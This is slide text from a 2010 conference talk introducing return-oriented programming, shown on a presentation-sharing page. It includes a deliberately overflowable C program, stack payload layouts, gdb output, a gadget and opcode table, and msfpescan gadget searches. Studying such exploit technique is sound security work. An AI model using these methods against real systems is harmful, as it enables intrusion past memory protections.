ARM Polyglot Shellcode - HITB2019AMS
 
What Makes a Compelling Photograph
What Makes a Compelling PhotographWhat Makes a Compelling Photograph
What Makes a Compelling Photograph
 
Make ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEKMake ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEK
 

Recently uploaded

Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 

Recently uploaded (20)

Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food Manufacturing
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 

An introduction to ROP

  • 1. net-square Introduction to ROP a first look at return oriented programming Saumil Shah, Net-Square Hack.LU 2010 - Luxembourg
  • 2. net-square Introduction • DEP • EIP control • Ret2LibC • Return Oriented Programming
  • 3. net-square DEP • Hardware enforced (NX). • Data areas marked non-executable. – Stack marked non-executable. – Heap marked non-executable. • You can load your shellcode in the stack or the heap... • ...but you can't jump to it.
  • 4. net-square EIP control • Stack - forbidden • Heap - forbidden • Binary - OK • DLLs - OK Program Image Heap Stack DLL DLL DLL
  • 5. net-square Ret2LibC • Return to LibC. • Pioneered by Solar Designer in 1997. • EIP made to "return to a function". • Need control of the stack memory. – We usually have it.
  • 6. net-square Ret2LibC - how does it work? • Create a fake frame on the stack. • After an overflowed function returns... • ...set the EIP return address to the new function. • Append the fake frame. • New function executes. – parameters consumed from the fake frame. • system("/bin/sh")
  • 7. net-square Return Oriented Programming • Series of function returns. • Chained frames. • Transform EIP based primitives into stubs that can be "returned into". • ESP is the new EIP!
  • 8. net-square Topics • Function calls and returns • Stack overflows revisited • Creating stack frames • Chaining frames • ESP control
  • 9. net-square Calling a function • Add two ints x, y. • add(3,4) • What does the calling frame look like? void add(int x, int y) { int sum; sum = x + y; printf("%dn", sum); } int main() { add(3, 4); }
  • 10. net-square Stack frame for add(3,4) frame for add() return address from add() 3 4 call add
  • 11. net-square Return from add(3,4) • add() is about to return. • RET after epilogue of add(). • Where does ESP point to? – immediately before the RET • What does the stack look like?
  • 12. net-square Before the RET return address from add() 3 4 ESP
  • 13. net-square Another function • Stack overflow in func1. • Can we call add(5, 6) after returning from func1? void func1(char *s) { char buffer[128]; strcpy(buffer, s); } int main() { func1(argv[1]); }
  • 14. net-square Stack frame for func1() buffer return address from func1 s
  • 15. net-square strcpy(buffer, s) buffer return address from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAA AAAA AAAA AAAA
  • 16. net-square Before the RET buffer return address from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAA AAAA AAAA AAAA ESP
  • 17. net-square After the RET buffer return address from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAA AAAA AAAA AAAA EIP = 0x41414141 ESP
  • 18. net-square Return to add() • Insert a fake frame in the buffer. • Make func1() return to: add(01010101, 02020202) • What does the stack frame look like?
  • 19. net-square strcpy(buffer, s) buffer return address from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA address of add return address from add 01010101 02020202
  • 20. net-square Before func1() returns buffer return address from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA address of add return address from add 01010101 02020202 ESP
  • 21. net-square Return to add() buffer return address from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA address of add return address from add 01010101 02020202 ESP EIP = add()
  • 22. net-square Return to add() • By carefully creating a frame... • ...we can make the program "return to our function". • We control the parameters. • We also control where to jump to after our function returns.
  • 23. net-square victim2.c int main(int argc, char *argv[]) { add(3, 4); func1(argv[1]); } void func1(char *s) { char buffer[128]; strcpy(buffer, s); } void print_hello(void) { printf("Hello Worldn"); } void add(int x, int y) { int sum; sum = x + y; printf("%d + %d = %dn", x, y, sum); } stack overflow lurks here!
  • 24. net-square victim2.c • Compile victim2.c • Run victim2 under a debugger • Study the stack frame before add(3, 4) gcc victim2.c -o victim2 gdb victim2
  • 25. net-square gdb'ing add • Set a breakpoint before add(3, 4) 0x804836c <main>: push %ebp 0x804836d <main+1>: mov %esp,%ebp 0x804836f <main+3>: sub $0x8,%esp 0x8048372 <main+6>: and $0xfffffff0,%esp 0x8048375 <main+9>: mov $0x0,%eax 0x804837a <main+14>: sub %eax,%esp 0x804837c <main+16>: sub $0x8,%esp 0x804837f <main+19>: push $0x4 0x8048381 <main+21>: push $0x3 0x8048383 <main+23>: call 0x80483de <add> 0x8048388 <main+28>: add $0x10,%esp 0x804838b <main+31>: cmpl $0x1,0x8(%ebp)
  • 26. net-square Stack frame before add(3, 4) • Dump the stack • Continue (gdb) x/64 $esp 0xbffff8ac: 0x08048388 0x00000003 0x00000004 0xbffff8c8 0xbffff8bc: 0x0804841c 0x40148f50 0x40012780 0xbffff8e8 0x08048388 3 4
  • 27. net-square Overflowing func1() • Overflow func1 and... ...return to add(01010101, 02020202) • Create a fake frame. • Overwrite stack. • frame1.pl return from func1 param1 param2 return from add 0x080483de 0x01010101 0x02020202 0x42424242
  • 28. net-square frame1.pl • Creates the overflow buffer as follows: • Set this in an environment variable EGG and run victim2 with $EGG: 080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202 distance to EIP address of add return from add param1 param2 export EGG=`./frame1.pl` gdb victim2 (gdb) run $EGG
  • 29. net-square ESP • Where will ESP be after returning from add? • Verify 080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202 (gdb) x/64 $esp 0xbffff824: 0x01010101 0x02020202 0x08048400 0x40148f50 0xbffff834: 0x40012780 0xbffff858 0x4002e7f7 0x00000002 ESP
  • 30. net-square Chaining functions • After add(01010101, 02020202), we want to run add(03030303, 04040404). • How should we set up the frames? • First, study the frame after add() returns.
  • 32. net-square Where does the new frame go? AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA address of add 42424242 01010101 02020202 address of add ?? 03030303 04040404
  • 33. net-square Where does the new frame go? • We get only ONE chance at strcpy. • How do we preserve params 01010101 and 02020202? • We can only APPEND the second frame below our first frame. • We have to UNWIND the first frame before returning to the second frame. • Return to epilogue!
  • 34. net-square Chaining the frames AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA address of add address of POP/POP/RET 01010101 02020202 address of add 42424242 03030303 04040404 add(01010101, 02020202) add(03030303, 04040404)
  • 35. net-square Keeping ESP in control AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA address of add address of POP/POP/RET 01010101 02020202 address of add 42424242 03030303 04040404 Return from func1 Return to add() Return to POP/POP/RET POP POP ESP RET - Return to add() Finally EIP = 0x42424242
  • 36. net-square frame2.pl • Creates the overflow buffer as follows: 080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202 distance to EIP address of add POP/POP /RET param1 param2 080483de 42424242 03030303 04040404 address of add return from add param1 param2 Use msfelfscan to find the address of POP/POP/RET from victim2 binary.
  • 37. net-square frame2.pl • Set this in an environment variable EGG and run victim2 with $EGG: export EGG=`./frame2.pl` gdb victim2 (gdb) run $EGG Starting program: /home/user0/victim2 $EGG 3 + 4 = 7 1010101 + 2020202 = 3030303 3030303 + 4040404 = 7070707 Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
  • 38. net-square It's all about ESP! • ESP is the new EIP. • ROP involves keeping the ESP moving through the frames on the stack. • Frames can be chained by returning to epilogues of functions. – to appropriately unwind the parameters pushed on the stack. • We must never lose sight of RET.
  • 39. net-square ROP frames - generic approach f1(A, B) f2(X) f1(C, D) f3(P, Q, R, S) f2(Y) : : & f1() & POP/POP/RET A B & f2() & POP/RET X & f3() & POPAD/RET P Q R & f1() & POP/POP/RET C D junk junk junk & f2() & POP/RET Y S
  • 40. net-square Topics • Transforming classic EIP code to ROP • ROP vs. classic programming • Thinking in ROP terms • Assembling frames • Gadgets • Searching for gadgets • Generic techniques
  • 41. net-square EIP vs. ESP Classic EIP code • N ops = N instructions. • EIP increments. • ESP fluctuates. • The CPU increments EIP automatically. ROP code • N ops = N frames. • ESP increments. • EIP fluctuates. • We have to control ESP through RET instructions.
  • 42. net-square Transform EIP code to ROP • Load two registers • Call a function – with params 3,4 • How does this translate in ROP terms? mov eax, 14 mov ecx, 02500000 push 3 push 4 call 77fe3210
  • 43. net-square Thinking in ROP terms ?? AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 ESP Put 14 in the next stack word, and POP it into EAX. RET function body epilogue prologue vulnerable function EIP mov eax, 14 RET POP EAX POP EBX functionX 700344fe 700344fd 700344ff
  • 44. net-square Thinking in ROP terms 700344fe AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14ESP RET function body epilogue prologue vulnerable function EIP Jump to address of "POP EAX; RET". Search function epilogues. RET POP EAX POP EBX functionX mov eax, 14
  • 45. net-square Thinking in ROP terms 700344fe ?? AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000 ESP RET function body epilogue prologue vulnerable function EIP Place 02500000 as the next stack word, to be loaded into ECX. RET POP EAX POP EBX functionX eax = 00000014 mov ecx, 02500000
  • 46. net-square Thinking in ROP terms 700344fe 6d894430 AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000 RET function body epilogue prologue vulnerable function We now need an address of a "POP ECX; RET" sequence. RET POP EAX POP EBX functionX RET POP ECX functionY ESP EIP eax = 00000014 mov ecx, 02500000 6d894430 6d894431
  • 47. net-square Thinking in ROP terms 700344fe 6d894430 AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000ESP RET function body epilogue prologue vulnerable function 02500000 is popped into ECX. RET POP EAX POP EBX functionX EIP RET POP ECX functionY eax = 00000014 mov ecx, 02500000
  • 48. net-square Thinking in ROP terms 700344fe 6d894430 AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000 ??ESP RET function body epilogue prologue vulnerable function We now need to call a function at 77fe3210, with parameters 3, 4 RET POP EAX POP EBX functionX EIP RET POP ECX functionY push 3; push 4; call 77fe3210 eax = 00000014 ecx = 02500000
  • 49. net-square Gadget Dictionary POP EAX; RET Load value into register value POP ECX; RET Read memory at address address ADD EAX,n; RET Add MOV EAX,[ECX]; RET POP EAX; RET Write value at address address POP ECX; RET value MOV [EAX],ECX; RET INC EAX; RET Increment address of function Call a function param cleanup param 1 param 2 RET NOP param N POP; POP ... RET ADD ESP,24; RET POPAD; RET POP EAX; RET Call a function pointer address CALL [EAX]; RET XCHG EAX,ESP; RET Stack flip ESP=EAX LEAVE; RET Stack flip ESP=EBP POP ESP; RET Stack flip ESP=addr address
  • 50. net-square Instruction Opcodes Instruction Opcodes RET C3 RET n C2 16bits POP EAX 58 POP ECX 59 MOV EAX,[ECX] 8B 01 MOV [EAX],ECX 89 08 MOV [ECX],EAX 89 01 INC EAX 40 ADD EAX, n 83 C0 8bits
  • 51. net-square Instruction Opcodes Instruction Opcodes POP EBX/EDX/ESI/EDI/EBP 5B/5A/5E/5F/5D POPAD 61 ADD ESP,24 83 C4 18 CALL [EAX] FF 10 XCHG EAX,ESP 94 LEAVE C9 (mov esp,ebp; pop ebp) POP ESP 5C
  • 52. net-square Searching for Gadgets • Use msfpescan's regex search. • Example: MOV EAX,[ECX]; RET msfpescan -D -r 'x8Bx01xC3' <file> msfpescan -D -r 'x8Bx01xC2.x00' <file> msfpescan -D -r 'x8Bx01.xC3' <file> msfpescan -D -r 'x8Bx01..xC3' <file> • Sometimes you may need to improvise.
  • 53. net-square Generic Techniques • Run arbitrary shellcode. • Difficult to transform entire shellcode to ROP frames. • Create a ROP loader: – Allocate RWX memory – Copy classic shellcode to this memory – Jump to shellcode • Load and run any shellcode.
  • 54. net-square DEMO TIME! • Java JNLP docbase overflow • Exploiting IE8 using ROP